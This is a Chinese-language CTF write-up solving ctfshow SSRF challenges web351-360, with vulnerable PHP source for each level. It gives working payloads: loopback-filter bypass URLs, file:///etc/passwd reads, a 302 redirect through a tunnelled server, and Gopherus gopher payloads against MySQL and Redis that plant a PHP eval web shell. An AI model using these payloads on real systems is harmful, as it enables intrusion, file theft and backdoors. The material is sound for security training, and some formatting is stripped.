ctfshow-web入门SSRFweb351-360wp

发布时间:2026/6/13 12:20:18

ctfshow-web入门SSRFweb351-360wp 一、ctfshow(一) web351?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); ?这个源代码蕴含了curl_exec()函数函数用于执行一个 cURL 会话。如果用户可以控制 URL 参数攻击者可以利用该函数访问内网服务、读取本地文件或攻击其他服务器。所以我们可以通过利用SSRF漏洞访问内网中的Web应用或其他服务。通过构造特定的URL攻击者可以访问内网中的敏感资源。urlhttp://127.0.0.1/flag.php即可得到flag这是POST传参方案二尝试使用 file 协议读文件urlfile:///etc/passwd同理我们可以把 flag 给读出来urlfile:///var/www/html/flag.php(二) web352?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ if(!preg_match(/localhost|127.0.0/)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{ die(hacker); } } else{ die(hacker); } ? hacker这道题和上道题一样只不过这道题 限制只能使用 http 或者 https 协议并且url不能含有/localhost|127.0.0/但是上道的payload可以继续使用urlhttp://127.0.0.1/flag.php得到flag但是还是需要绕过一下的urlhttp://0x7F000001/flag.php16进制绕过 urlhttp://2130706433/flag.php10进制 urlhttp://0177.0.0.1/flag.php—8进制 urlhttp://%31%32%37%2E%30%2E%30%2E%31/flag.php(URL加密)(三) web353?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ if(!preg_match(/localhost|127\.0\.|\。/i, $url)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{ die(hacker); } } else{ die(hacker); } ? hacker这道过滤了/localhost|127\.0\.|\。/i依然可以用16进制去绕过urlhttp://0x7F000001/flag.php16进制绕过得到flag看了看其他人的WP还可以用urlhttp://0/flag.php0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0 urlhttp://0.0.0.0/flag.php urlhttp://127.1/flag.php缺省模式 CIDRurlhttp://127.127.127.127/flag.php并且不只是127.0.0.1代表本地127.0.0.1---127.255.255.254都行(四) web354?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ if(!preg_match(/localhost|1|0|。/i, $url)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{ die(hacker); } } else{ die(hacker); } ? hacker这次相比之前直接看有没有0和1我试了试之前的几种方法都返回hacker我问了一下AI他给我推荐的是localtest.me这个公共域名默认 A 记录指向127.0.0.1且不包含被过滤的关键字可以直接通过检查并访问本地的flag.php。payload:urlhttp://localtest.me/flag.php得到flag看了下大佬的WP方法一域名指向127在自己的域名中添加一条A记录指向 127.0.0.1或者使用 http://sudo.cc这个域名就是指向127.0.0.1方法二302跳转在自己的网站页面添加?php header(Location:http://127.0.0.1/flag.php);重定向到127我试了一下urlhttp://sudo.cc/flag.php发现这个已经失效(五) web355?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ $host$x[host]; if((strlen($host)5)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{ die(hacker); } } else{ die(hacker); } ? hacker这道题限制了域名长度5无其他限制所以我们可以使用urlhttp://0/flag.php0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0 urlhttp://127.1/flag.php缺省模式得到flag(六) web326?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ $host$x[host]; if((strlen($host)3)){ $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); } else{ die(hacker); } } else{ die(hacker); } ? hacker这道限制域名要小于3继续使用0urlhttp://0/flag.php0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0得到flag(七) web357?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if($x[scheme]http||$x[scheme]https){ $ip gethostbyname($x[host]); echo /br.$ip./br; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die(ip!); } echo file_get_contents($_POST[url]); } else{ die(scheme); } ? scheme这里有段waf我们不知道 问一下ai1. 1.filter_var($ip, FILTER_VALIDATE_IP, ...)FILTER_VALIDATE_IP会验证$ip是否是一个合法的 IPv4 或 IPv6 地址。如果$ip不合法则返回false。意味着任何不是标准 IP 格式的值比如127.0.0.1:80、example.com会直接被判定为非法。2. 2.FILTER_FLAG_NO_PRIV_RANGE禁止私有 IP 地址段。私有 IPv4 范围10.0.0.0-10.255.255.255172.16.0.0-172.31.255.255192.168.0.0-192.168.255.255私有 IPv6 范围fc00::/73. 3.FILTER_FLAG_NO_RES_RANGE禁止保留地址范围特殊用途 IP包括0.0.0.0127.0.0.0/8回环地址169.254.0.0/16链路本地::1IPv6 回环以及其他 RFC 保留段4. 4.综合逻辑执行这段代码时先验证$ip是不是符合 IP 格式A.B.C.D或 IPv6 标准表示。如果是 IP就进一步检查是否属于私有 IP 或保留 IP 范围。只允许公网 IPPublic IP通过。意思就是需要公网IP我们可以在我们自己的公网服务器上面搞一个302跳转的文件这样子当使用这个容器访问的时候就会自动302跳转到127.0.0.1里面payload?php header(Location:http://127.0.0.1/flag.php); ?urlhttp://你的公网ip/ssrf.php我们可以在本地终端运行写xxe题用过的php -S 0.0.0.0:8000搭建 PHP 环境在同一个目录下写一个php文件内容为?php header(Location:http://127.0.0.1/flag.php); ?然后在同一个目录下再创建一个终端运行ssh -R 80:localhost:8000 serveo.net会给到一个公网地址https://xxxxxxx.serveousercontent.com然后复制它到payloadurlhttps://xxxxxxxxx.serveousercontent.com/ssrf.php即可得到flag注意公网地址记得修改为自己的如果你有自己的vps就不用这么麻烦了(八) web358?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $xparse_url($url); if(preg_match(/^http:\/\/ctf\..*show$/i,$url)){ echo file_get_contents($url); }匹配以 http:// ctf . 开头并且以 show 结尾payload:urlhttp://ctf.127.0.0.1/flag.php#show urlhttp://ctf.127.0.0.1/flag.php?show urlhttp://ctf.127.0.0.1/flag.php?ashow得到flag(九) web359题目提示打无密码的mysql点开是一个登录界面查看源码发现有check.php以及post传参登录抓包试试看发现可疑参数 returl 存在 SSRF使用 gopher 协议去打 mysql用 gopherus 工具生成 payloadpython2 .\gopherus.py --exploit mysql username:root 写入一句话木马 select ?php eval$_POST[cmd]);? into outfile /var/www/html/2.php;将 _ 下划线后面的内容再进行一次 url 编码防止出现特殊符号post传参修改return值为%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254c%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501连接蚁剑flag.txt在根目录(十) web360提示打redis?php error_reporting(0); highlight_file(__FILE__); $url$_POST[url]; $chcurl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resultcurl_exec($ch); curl_close($ch); echo ($result); ?我搜了一下redis什么是Redis未授权访问Redis 默认情况下会绑定在 0.0.0.0:6379如果没有进行采用相关的策略比如添加防火墙规则避免其他非信任来源 ip 访问等这样将会将 Redis 服务暴露到公网上如果在没有设置密码认证一般为空会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下利用 Redis 自身的提供的 config 命令可以进行写文件操作攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中进而可以使用对应私钥直接使用ssh服务登录目标服务器简单说漏洞的产生条件有以下两点redis 绑定在 0.0.0.0:6379且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略直接暴露在公网没有设置密码认证一般为空可以免密码远程登录redis服务python gopherus.py --exploit redis phpshell ?php eval($_POST[cmd]);?url再次编码POST传入shell写入的地址默认为/shell.php访问shell.php蚁剑连接也可以得到flag

相关新闻